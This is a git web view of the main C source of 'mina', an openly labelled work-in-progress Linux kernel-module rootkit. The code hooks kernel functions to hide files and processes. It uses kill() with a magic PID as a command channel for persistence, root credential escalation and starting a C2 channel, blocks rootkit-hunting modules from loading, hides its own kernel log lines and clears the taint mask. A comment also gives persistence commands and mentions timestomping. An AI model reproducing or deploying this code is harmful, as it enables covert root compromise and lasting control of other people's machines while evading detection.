mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

mina.c (13612B)

      1 #include <linux/cred.h>   // For prepare_creds, commit_creds
      2 #include <linux/dcache.h> // For d_path
      3 #include <linux/delay.h>
      4 #include <linux/fs.h>
      5 #include <linux/init.h>
      6 #include <linux/kernel.h>
      7 #include <linux/kprobes.h>
      8 #include <linux/kthread.h>
      9 #include <linux/list.h>
     10 #include <linux/module.h>
     11 #include <linux/string.h>   // For strscpy and kstrnstr
     12 #include <linux/slab.h>     // For kstrdup / kfree
     13 #include <linux/err.h>      // For -E2BIG checks
     14 #include <linux/vmalloc.h>
     15 #include <linux/mount.h> // For d_path (might be needed)
     16 #include <linux/path.h>  // For d_path
     17 #include <linux/pid.h>   // For find_vpid, pid_task
     18 #include <linux/sched.h> // For task_struct
     19 #include <linux/slab.h>
     20 #include <linux/version.h>
     21 
     22 #include "../includes/mina.h"
     23 
     24 /* NOTE(djnn):
     25 
     26 1. LKM can also be found in /proc/kallsyms.....maybe we need to find its offset &
     27 mangle the bytes?
     28 
     29 2. writing the rootkit as a loadable char device would allow it to be registered
     30 in `/dev` and then use udev rules for persistence by the dropper.
     31 We could also hook a launch script of another device node to insert
     32 our LKM into the kernel.....
     33 
     34 3.  put your module in `/usr/lib/modules` so that it is loaded like so:
     35 
     36 ```bash
     37 cp evil.ko /usr/lib/modules/$(uname -r)/kernel/drivers/block/magicstring-evil.ko
     38 depmod
     39 echo magicstring-evil >/usr/lib/modules-load.d/magicstring-evil.conf
     40 ```
     41 
     42 >the `mtime` on the `/usr/lib/modules-load.d` directory and the directory where
     43 you installed the rootkit module will be updated. Aside from putting the name
     44 of your evil module into the `modules.dep*` files, the `depmod` command updates
     45 the `mtime` on several other files under `/usr/lib/modules*`
     46 
     47 timestomping might be necessary from the dropper
     48     => https://righteousit.com/2024/09/04/more-on-ext4-timestamps-and-timestomping
     49 
     50 */
     51 
     52 MODULE_LICENSE("GPL");
     53 MODULE_AUTHOR("djnn <[email protected]>");
     54 MODULE_DESCRIPTION("mina ily^-^");
     55 MODULE_VERSION("0.0.1");
     56 
     57 /*
     58  * mina rootkit
     59  * written by djnn (https://djnn.sh) with the help of friendly rootkit researchers:)
     60  *
     61  * Join here: https://discord.gg/66N5ZQppU7
     62  */
     63 
     64 /* ------============= STRUCTS ==============----- */
     65 typedef struct mina_settings {
     66     int enable_file_hide;
     67     int enable_dir_hide;
     68 } settings_t;
     69 
     70 settings_t settings = {
     71     .enable_file_hide = 0,
     72     .enable_dir_hide = 0};
     73 
     74 /* ------============= MODULE BLOCKLIST ==============----- */
     75 
     76 // MODULE_NAME_LEN is typically defined in linux/module.h
     77 struct blocked_module {
     78     char name[MODULE_NAME_LEN];
     79     struct list_head list;
     80 };
     81 LIST_HEAD(blocked_modules);
     82 
     83 void add_blocked_module(const char *name) {
     84     struct blocked_module *bm;
     85     size_t len = strnlen(name, MODULE_NAME_LEN - 1);
     86 
     87     list_for_each_entry(bm, &blocked_modules, list) {
     88         if (strncmp(bm->name, name, MODULE_NAME_LEN) == 0) {
     89             return;
     90         }
     91     }
     92 
     93     bm = kmalloc(sizeof(*bm), GFP_KERNEL);
     94     if (!bm) {
     95         printk(KERN_ERR "[mina] Failed to allocate memory for blocked module.\n");
     96         return;
     97     }
     98     strscpy(bm->name, name, len + 1);
     99     list_add(&bm->list, &blocked_modules);
    100     printk(KERN_INFO "[mina] Blocked module: %s\n", name);
    101 }
    102 
    103 void remove_blocked_module(const char *name) {
    104     struct blocked_module *bm, *tmp;
    105     list_for_each_entry_safe(bm, tmp, &blocked_modules, list) {
    106         if (strncmp(bm->name, name, MODULE_NAME_LEN) == 0) {
    107             list_del(&bm->list);
    108             kfree(bm);
    109             printk(KERN_INFO "[mina] Unblocked module: %s\n", name);
    110             return;
    111         }
    112     }
    113 }
    114 
    115 bool is_module_blocked(const char *name) {
    116     struct blocked_module *bm;
    117     list_for_each_entry(bm, &blocked_modules, list) {
    118         if (strncmp(bm->name, name, MODULE_NAME_LEN) == 0) {
    119             return true;
    120         }
    121     }
    122     return false;
    123 }
    124 
    125 static char *get_modname_from_buf(const char __user *buf, size_t buf_len) {
    126     char *kbuf;
    127     char *modname = NULL;
    128     char *p;
    129 
    130     if (!buf || buf_len == 0)
    131         return NULL;
    132 
    133     kbuf = vmalloc(buf_len);
    134     if (!kbuf)
    135         return NULL;
    136 
    137     if (copy_from_user(kbuf, buf, buf_len)) {
    138         vfree(kbuf);
    139         return NULL;
    140     }
    141 
    142     p = strnstr(kbuf, "name=", buf_len);
    143     if (p) {
    144         p += strlen("name=");
    145         modname = (char *)kstrdup_const(p, GFP_KERNEL);
    146         if (modname) {
    147             char *end = strchr(modname, ' ');
    148             if (end)
    149                 *end = '\0';
    150             end = strchr(modname, '\n');
    151             if (end)
    152                 *end = '\0';
    153         }
    154     }
    155 
    156     vfree(kbuf);
    157     return modname;
    158 }
    159 
    160 /* ------============= HOOKS ==============----- */
    161 
    162 #include "../includes/ftrace_helper.h"
    163 
    164 /*         ------=== DIR  HOOK ===----- */
    165 
    166 static asmlinkage bool (*original_filldir64)(struct dir_context *ctx, const char *name, int namlen,
    167                                              loff_t offset, u64 ino, unsigned int d_type);
    168 static asmlinkage bool hook_filldir64(struct dir_context *ctx, const char *name, int namlen,
    169                                       loff_t offset, u64 ino, unsigned int d_type) {
    170     long parsed_pid;
    171     char *tmp_name = NULL;
    172 
    173     if (strstr(name, HIDE_PREFIX) != NULL && settings.enable_file_hide)
    174         return true;
    175 
    176     if (namlen > 0 && name[0] >= '0' && name[0] <= '9') { // Potential PID
    177         tmp_name = kmalloc(namlen + 1, GFP_KERNEL);
    178         if (!tmp_name) {
    179             goto call_original;
    180         }
    181         strscpy(tmp_name, name, namlen + 1);
    182 
    183         if (kstrtol(tmp_name, 10, &parsed_pid) == 0) {
    184             if (parsed_pid > 0) {
    185                 kfree(tmp_name);
    186                 if (pid_lookup_hidelist((pid_t)parsed_pid)) {
    187                     return true;
    188                 }
    189             } else {
    190                 kfree(tmp_name);
    191             }
    192         } else {
    193             kfree(tmp_name);
    194         }
    195     }
    196 
    197 call_original:
    198     return original_filldir64(ctx, name, namlen, offset, ino, d_type);
    199 }
    200 
    201 /*         ------=== KILL HOOK ===----- */
    202 
    203 static asmlinkage long (*original_kill)(const struct pt_regs *);
    204 asmlinkage long hooked_kill_syscall(struct pt_regs *regs) {
    205     int signal = regs->si;
    206     int pid = regs->di;
    207 
    208     if (pid != MAGIC_PID)
    209         goto normalkill;
    210 
    211     switch (signal) {
    212     case PERSISTENCE_CODE:
    213         return add_inittab_entry(PERSISTENCE_TAB_ENTRY);
    214 
    215     case TOGGLE_HIDE_CODE:
    216         toggle_hide_module();
    217         return 0;
    218 
    219     case TOGGLE_FILEHIDE_CODE:
    220         settings.enable_file_hide = (!settings.enable_file_hide);
    221         return 0;
    222 
    223     case SIG_HIDE_PID:
    224         pid_hide(pid);
    225         return 0;
    226 
    227     case SIG_UNHIDE_PID:
    228         pid_unhide(pid);
    229         return 0;
    230 
    231     case SIG_ESCALATE: {
    232         struct task_struct *task;
    233         struct cred *new_creds;
    234 
    235         {
    236             struct pid *pid_struct = find_vpid(pid);
    237             task = pid_struct ? pid_task(pid_struct, PIDTYPE_PID) : NULL;
    238         }
    239         if (!task) {
    240             printk(KERN_ERR "[mina] Task %d not found for escalation.\n", pid);
    241             return -ESRCH;
    242         }
    243 
    244         new_creds = prepare_creds();
    245         if (!new_creds) {
    246             printk(KERN_ERR "[mina] Failed to prepare credentials.\n");
    247             return -ENOMEM;
    248         }
    249 
    250         new_creds->uid.val = new_creds->gid.val = 0;
    251         new_creds->euid.val = new_creds->egid.val = 0;
    252         new_creds->suid.val = new_creds->sgid.val = 0;
    253         new_creds->fsuid.val = new_creds->fsgid.val = 0;
    254         // Capabilities are usually handled by cap_set_full, but for simplicity zeroing out for now
    255         // A more robust rootkit would manage capabilities carefully.
    256         cap_clear(new_creds->cap_effective);
    257         cap_clear(new_creds->cap_inheritable);
    258         cap_clear(new_creds->cap_permitted);
    259 
    260         commit_creds(new_creds);
    261         printk(KERN_INFO "[mina] Task %d escalated to root.\n", pid);
    262         return 0;
    263     }
    264 
    265     case SIG_START_C2:
    266         c2_init();
    267         return 0;
    268     }
    269 
    270 normalkill:
    271     return original_kill(regs);
    272 }
    273 
    274 /*         ------=== INSMOD HOOK ===----- */
    275 
    276 static asmlinkage long (*original_init_module)(struct file *file, const char *uargs, unsigned long flags);
    277 static asmlinkage long (*original_finit_module)(struct file *file, const char *uargs, unsigned long flags);
    278 
    279 static asmlinkage long hook_init_module(struct file *file, const char *uargs, unsigned long flags) {
    280     char *modname = NULL;
    281     long ret = 0;
    282 
    283     // In some kernel versions, uargs contains module parameters
    284     // In others, it's a pointer to the module image.
    285     // For simplicity, we assume uargs can be partially scanned for name.
    286     // This part is heuristic and might need adjustment for specific kernel versions.
    287     if (uargs) {
    288         modname = get_modname_from_buf(uargs, PAGE_SIZE); // Scan first PAGE_SIZE for name
    289         if (modname) {
    290             if (is_module_blocked(modname)) {
    291                 printk(KERN_INFO "[mina] Blocked attempt to load module: %s\n", modname);
    292                 ret = -EPERM;
    293             }
    294             kfree(modname);
    295         }
    296     }
    297 
    298     if (ret != 0) {
    299         return ret;
    300     }
    301 
    302     return original_init_module(file, uargs, flags);
    303 }
    304 
    305 static asmlinkage long hook_finit_module(struct file *file, const char *uargs, unsigned long flags) {
    306     long ret = 0;
    307     char *path_buf = NULL;
    308     const char *filename_ptr;
    309     char *modname_no_ext = NULL;
    310 
    311     if (!file || !file->f_path.dentry) {
    312         goto call_original;
    313     }
    314 
    315     path_buf = kmalloc(PATH_MAX, GFP_KERNEL);
    316     if (!path_buf) {
    317         ret = -ENOMEM;
    318         goto out;
    319     }
    320 
    321     filename_ptr = d_path(&file->f_path, path_buf, PATH_MAX);
    322 
    323     if (!IS_ERR(filename_ptr)) {
    324         char *last_slash = strrchr(filename_ptr, '/');
    325         const char *base_filename = last_slash ? last_slash + 1 : filename_ptr;
    326 
    327         modname_no_ext = (char *)kstrdup_const(base_filename, GFP_KERNEL);
    328         if (modname_no_ext) {
    329             char *dot_ko = strrchr(modname_no_ext, '.');
    330             if (dot_ko && strcmp(dot_ko, ".ko") == 0) {
    331                 *dot_ko = '\0';
    332             }
    333 
    334             if (is_module_blocked(modname_no_ext)) {
    335                 printk(KERN_INFO "[mina] Blocked attempt to load module (VFS): %s\n", modname_no_ext);
    336                 ret = -EPERM;
    337             }
    338             kfree(modname_no_ext);
    339         }
    340     } else {
    341         printk(KERN_ERR "[mina] Error getting path for module: %ld\n", PTR_ERR(filename_ptr));
    342     }
    343 
    344 out:
    345     kfree(path_buf);
    346     if (ret != 0) {
    347         return ret;
    348     }
    349 
    350 call_original:
    351     return original_finit_module(file, uargs, flags);
    352 }
    353 
    354 // Hook for printk to filter rootkit messages
    355 static asmlinkage int (*original_vprintk_store)(int facility, int level,
    356                                                 const char *fmt, va_list args);
    357 
    358 static asmlinkage int hook_vprintk_store(int facility, int level,
    359                                          const char *fmt, va_list args) {
    360     char buf[256];
    361     int len;
    362 
    363     va_list args_copy;
    364     va_copy(args_copy, args);
    365 
    366     len = vsnprintf(buf, sizeof(buf), fmt, args_copy);
    367     va_end(args_copy);
    368 
    369     if (len > 0) {
    370         if (strstr(buf, "[mina]") || strstr(buf, "mina is cute") || strstr(buf, "bye-bye mina")) {
    371             return len;
    372         }
    373     }
    374     return original_vprintk_store(facility, level, fmt, args);
    375 }
    376 
    377 /*     ------=== HOOKS DEFINITIONS ===-----     */
    378 
    379 static struct ftrace_hook hooks[] = {
    380     HOOK("filldir64", hook_filldir64, &original_filldir64),                    /* hide files (& directories) */
    381     HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill),               /* receive commands from machine */
    382     HOOK("__x64_sys_init_module", hook_init_module, &original_init_module),    /* hide from rootkit hunters */
    383     HOOK("__x64_sys_finit_module", hook_finit_module, &original_finit_module), /* hide from rootkit hunters */
    384     HOOK("vprintk_store", hook_vprintk_store, &original_vprintk_store),        /* hide rootkit messages from kernel log */
    385 };
    386 
    387 /* --------------------------------------------- */
    388 /* ------======= Reset taint marker =======----- */
    389 
    390 /* FIXME(djnn): this trick does not prevent the message from appearing in "journalctl -k". */
    391 
    392 static struct task_struct *cleaner_thread = NULL;
    393 static unsigned long *taint_mask_ptr = NULL;
    394 
    395 void reset_taint_mask(void) {
    396     if (taint_mask_ptr && *taint_mask_ptr != 0) {
    397         *taint_mask_ptr = 0;
    398     }
    399 }
    400 
    401 /* --------------------------------------------- */
    402 /* ------====== start / end routines ======----- */
    403 
    404 static int __init module_start(void) {
    405     int error = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
    406     if (error) {
    407         return error;
    408     }
    409 
    410     error = cmd_init();
    411     if (error) {
    412         printk(KERN_ERR "[mina] Failed to initialize command channel.\n");
    413         return error;
    414     }
    415 
    416 
    417 
    418     error = c2_init();
    419     if (error) {
    420         printk(KERN_ERR "[mina] Failed to initialize C2 channel.\n");
    421         return error;
    422     }
    423 
    424     taint_mask_ptr = get_taint_mask_address();
    425     if (!taint_mask_ptr) {
    426         printk(KERN_ERR "[mina] Could not get tainted_mask address.\n");
    427         return -EFAULT;
    428     }
    429 
    430     reset_taint_mask();
    431     cleaner_thread = kthread_run(zerotaint_thread, NULL, RESET_THREAD_NAME);
    432     if (IS_ERR(cleaner_thread)) {
    433         printk(KERN_ERR "[mina] Failed to start tainted_mask cleaner thread.\n");
    434         return PTR_ERR(cleaner_thread);
    435     }
    436 
    437     printk(KERN_INFO "mina is cute ~\n");
    438     return 0;
    439 }
    440 
    441 static void __exit module_end(void) {
    442     if (cleaner_thread) {
    443         kthread_stop(cleaner_thread);
    444         reset_taint_mask();
    445     }
    446 
    447     cmd_cleanup();
    448 
    449 
    450     c2_cleanup();
    451 
    452     fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
    453 }
    454 
    455 /* --------------------------------------------- */
    456 
    457 module_init(module_start);
    458 module_exit(module_end);